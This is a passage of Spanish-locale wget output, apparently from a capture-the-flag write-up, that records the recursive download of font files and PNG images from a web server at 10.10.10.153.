</span></span><span style="display:flex;"><span>Longitud: 96152 (94K) [application/vnd.ms-fontobject]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBold.eot”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBold.eot            100%[=====================================================================================================&gt;]  93.90K  --.-KB/s    en 0.07s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (1.36 MB/s) - “10.10.10.153/fonts/BebasNeueBold.eot” guardado [96152/96152]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/fonts/BebasNeueBold.eot?
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 96152 (94K) [application/vnd.ms-fontobject]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBold.eot?”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBold.eot?           100%[=====================================================================================================&gt;]  93.90K  --.-KB/s    en 0.08s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (1.22 MB/s) - “10.10.10.153/fonts/BebasNeueBold.eot?” guardado [96152/96152]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/fonts/BebasNeueBold.woff
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 31404 (31K) [application/font-woff]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBold.woff”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBold.woff           100%[=====================================================================================================&gt;]  30.67K  --.-KB/s    en 0.02s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (1.87 MB/s) - “10.10.10.153/fonts/BebasNeueBold.woff” guardado [31404/31404]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/fonts/BebasNeueBold.ttf
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 95984 (94K) [application/font-sfnt]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBold.ttf”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBold.ttf            100%[=====================================================================================================&gt;]  93.73K  --.-KB/s    en 0.05s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:26 (1.94 MB/s) - “10.10.10.153/fonts/BebasNeueBold.ttf” guardado [95984/95984]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:26--  http://10.10.10.153/fonts/BebasNeueBold.svg
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 288755 (282K) [image/svg+xml]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBold.svg”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBold.svg            100%[=====================================================================================================&gt;] 281.99K  1.41MB/s    en 0.2s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:27 (1.41 MB/s) - “10.10.10.153/fonts/BebasNeueBold.svg” guardado [288755/288755]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:27--  http://10.10.10.153/fonts/BebasNeueRegular.eot
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 94836 (93K) [application/vnd.ms-fontobject]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueRegular.eot”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueRegular.eot         100%[=====================================================================================================&gt;]  92.61K  --.-KB/s    en 0.05s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:27 (1.88 MB/s) - “10.10.10.153/fonts/BebasNeueRegular.eot” guardado [94836/94836]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:27--  http://10.10.10.153/fonts/BebasNeueRegular.eot?
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 94836 (93K) [application/vnd.ms-fontobject]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueRegular.eot?”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueRegular.eot?        100%[=====================================================================================================&gt;]  92.61K  --.-KB/s    en 0.05s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:27 (1.75 MB/s) - “10.10.10.153/fonts/BebasNeueRegular.eot?” guardado [94836/94836]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:27--  http://10.10.10.153/fonts/BebasNeueRegular.woff
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 33700 (33K) [application/font-woff]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueRegular.woff”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueRegular.woff        100%[=====================================================================================================&gt;]  32.91K  --.-KB/s    en 0.02s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:27 (1.81 MB/s) - “10.10.10.153/fonts/BebasNeueRegular.woff” guardado [33700/33700]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:27--  http://10.10.10.153/fonts/BebasNeueRegular.ttf
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 94656 (92K) [application/font-sfnt]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueRegular.ttf”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueRegular.ttf         100%[=====================================================================================================&gt;]  92.44K  --.-KB/s    en 0.05s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:27 (1.68 MB/s) - “10.10.10.153/fonts/BebasNeueRegular.ttf” guardado [94656/94656]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:27--  http://10.10.10.153/fonts/BebasNeueRegular.svg
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 291083 (284K) [image/svg+xml]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueRegular.svg”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueRegular.svg         100%[=====================================================================================================&gt;] 284.26K  1.04MB/s    en 0.3s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:28 (1.04 MB/s) - “10.10.10.153/fonts/BebasNeueRegular.svg” guardado [291083/291083]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:28--  http://10.10.10.153/fonts/BebasNeueBook.eot
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 97580 (95K) [application/vnd.ms-fontobject]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBook.eot”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBook.eot            100%[=====================================================================================================&gt;]  95.29K  --.-KB/s    en 0.07s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:28 (1.43 MB/s) - “10.10.10.153/fonts/BebasNeueBook.eot” guardado [97580/97580]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:28--  http://10.10.10.153/fonts/BebasNeueBook.eot?
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 97580 (95K) [application/vnd.ms-fontobject]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBook.eot?”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBook.eot?           100%[=====================================================================================================&gt;]  95.29K  --.-KB/s    en 0.07s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:28 (1.43 MB/s) - “10.10.10.153/fonts/BebasNeueBook.eot?” guardado [97580/97580]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:28--  http://10.10.10.153/fonts/BebasNeueBook.woff
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 34696 (34K) [application/font-woff]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBook.woff”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBook.woff           100%[=====================================================================================================&gt;]  33.88K  --.-KB/s    en 0.03s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:28 (1.28 MB/s) - “10.10.10.153/fonts/BebasNeueBook.woff” guardado [34696/34696]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:28--  http://10.10.10.153/fonts/BebasNeueBook.ttf
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 97412 (95K) [application/font-sfnt]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBook.ttf”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBook.ttf            100%[=====================================================================================================&gt;]  95.13K  --.-KB/s    en 0.09s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (1009 KB/s) - “10.10.10.153/fonts/BebasNeueBook.ttf” guardado [97412/97412]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/fonts/BebasNeueBook.svg
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 300132 (293K) [image/svg+xml]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/fonts/BebasNeueBook.svg”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/fonts/BebasNeueBook.svg            100%[=====================================================================================================&gt;] 293.10K  1.03MB/s    en 0.3s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (1.03 MB/s) - “10.10.10.153/fonts/BebasNeueBook.svg” guardado [300132/300132]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/images/logo@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 15451 (15K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/logo@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/logo@2x.png                 100%[=====================================================================================================&gt;]  15.09K  --.-KB/s    en 0.009s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (1.64 MB/s) - “10.10.10.153/images/logo@2x.png” guardado [15451/15451]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/images/bg_arrow@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 331 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow@2x.png             100%[=====================================================================================================&gt;]     331  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (24.9 MB/s) - “10.10.10.153/images/bg_arrow@2x.png” guardado [331/331]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/images/bg_slider_nav@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 617 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_slider_nav@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_slider_nav@2x.png        100%[=====================================================================================================&gt;]     617  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (79.4 MB/s) - “10.10.10.153/images/bg_slider_nav@2x.png” guardado [617/617]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/images/bg_arrow_blue@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 160 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_blue@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_blue@2x.png        100%[=====================================================================================================&gt;]     160  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (6.43 MB/s) - “10.10.10.153/images/bg_arrow_blue@2x.png” guardado [160/160]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/images/bg_arrow_blue_dark@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 159 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_blue_dark@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_blue_dark@2x.png   100%[=====================================================================================================&gt;]     159  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:29 (17.3 MB/s) - “10.10.10.153/images/bg_arrow_blue_dark@2x.png” guardado [159/159]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:29--  http://10.10.10.153/images/ico_information@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 2724 (2.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_information@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_information@2x.png      100%[=====================================================================================================&gt;]   2.66K  --.-KB/s    en 0.004s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (594 KB/s) - “10.10.10.153/images/ico_information@2x.png” guardado [2724/2724]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/bg_arrow_information@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 811 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_information@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_information@2x.png 100%[=====================================================================================================&gt;]     811  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (75.7 MB/s) - “10.10.10.153/images/bg_arrow_information@2x.png” guardado [811/811]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/ico_contacts@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 3649 (3.6K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_contacts@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_contacts@2x.png         100%[=====================================================================================================&gt;]   3.56K  --.-KB/s    en 0.002s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (1.88 MB/s) - “10.10.10.153/images/ico_contacts@2x.png” guardado [3649/3649]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/ico_social@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 2877 (2.8K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_social@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_social@2x.png           100%[=====================================================================================================&gt;]   2.81K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (2.64 MB/s) - “10.10.10.153/images/ico_social@2x.png” guardado [2877/2877]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/bg_white_arrow@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1416 (1.4K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_white_arrow@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_white_arrow@2x.png       100%[=====================================================================================================&gt;]   1.38K  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (7.73 MB/s) - “10.10.10.153/images/bg_white_arrow@2x.png” guardado [1416/1416]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/bg_white@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 2376 (2.3K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_white@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_white@2x.png             100%[=====================================================================================================&gt;]   2.32K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (4.51 MB/s) - “10.10.10.153/images/bg_white@2x.png” guardado [2376/2376]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/ico_close@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1880 (1.8K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_close@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_close@2x.png            100%[=====================================================================================================&gt;]   1.84K  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (4.27 MB/s) - “10.10.10.153/images/ico_close@2x.png” guardado [1880/1880]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/ico_form@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 2789 (2.7K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_form@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_form@2x.png             100%[=====================================================================================================&gt;]   2.72K  --.-KB/s    en 0.001s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (3.06 MB/s) - “10.10.10.153/images/ico_form@2x.png” guardado [2789/2789]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/bg_arrow_select@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 265 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_select@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_select@2x.png      100%[=====================================================================================================&gt;]     265  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:30 (8.72 MB/s) - “10.10.10.153/images/bg_arrow_select@2x.png” guardado [265/265]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:30--  http://10.10.10.153/images/ico_time@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 914 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_time@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_time@2x.png             100%[=====================================================================================================&gt;]     914  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (94.8 MB/s) - “10.10.10.153/images/ico_time@2x.png” guardado [914/914]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/ico_place@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 657 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_place@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_place@2x.png            100%[=====================================================================================================&gt;]     657  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (28.4 MB/s) - “10.10.10.153/images/ico_place@2x.png” guardado [657/657]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/bg_arrow_nav@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 438 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_arrow_nav@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_arrow_nav@2x.png         100%[=====================================================================================================&gt;]     438  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (46.5 MB/s) - “10.10.10.153/images/bg_arrow_nav@2x.png” guardado [438/438]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/ico_time_2@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 937 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_time_2@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_time_2@2x.png           100%[=====================================================================================================&gt;]     937  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (136 MB/s) - “10.10.10.153/images/ico_time_2@2x.png” guardado [937/937]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/ico_place_2@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 666 [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/ico_place_2@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/ico_place_2@2x.png          100%[=====================================================================================================&gt;]     666  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (49.7 MB/s) - “10.10.10.153/images/ico_place_2@2x.png” guardado [666/666]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/bg_slider_nav_2@2x.png
</span></span><span style="display:flex;"><span>Reutilizando la conexión con 10.10.10.153:80.
</span></span><span style="display:flex;"><span>Petición HTTP enviada, esperando respuesta... 200 OK
</span></span><span style="display:flex;"><span>Longitud: 1081 (1.1K) [image/png]
</span></span><span style="display:flex;"><span>Grabando a: “10.10.10.153/images/bg_slider_nav_2@2x.png”
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>10.10.10.153/images/bg_slider_nav_2@2x.png      100%[=====================================================================================================&gt;]   1.06K  --.-KB/s    en 0s
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>2019-01-15 20:26:31 (3.04 MB/s) - “10.10.10.153/images/bg_slider_nav_2@2x.png” guardado [1081/1081]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--2019-01-15 20:26:31--  http://10.10.10.153/images/bg_menu_trigger@2x.png
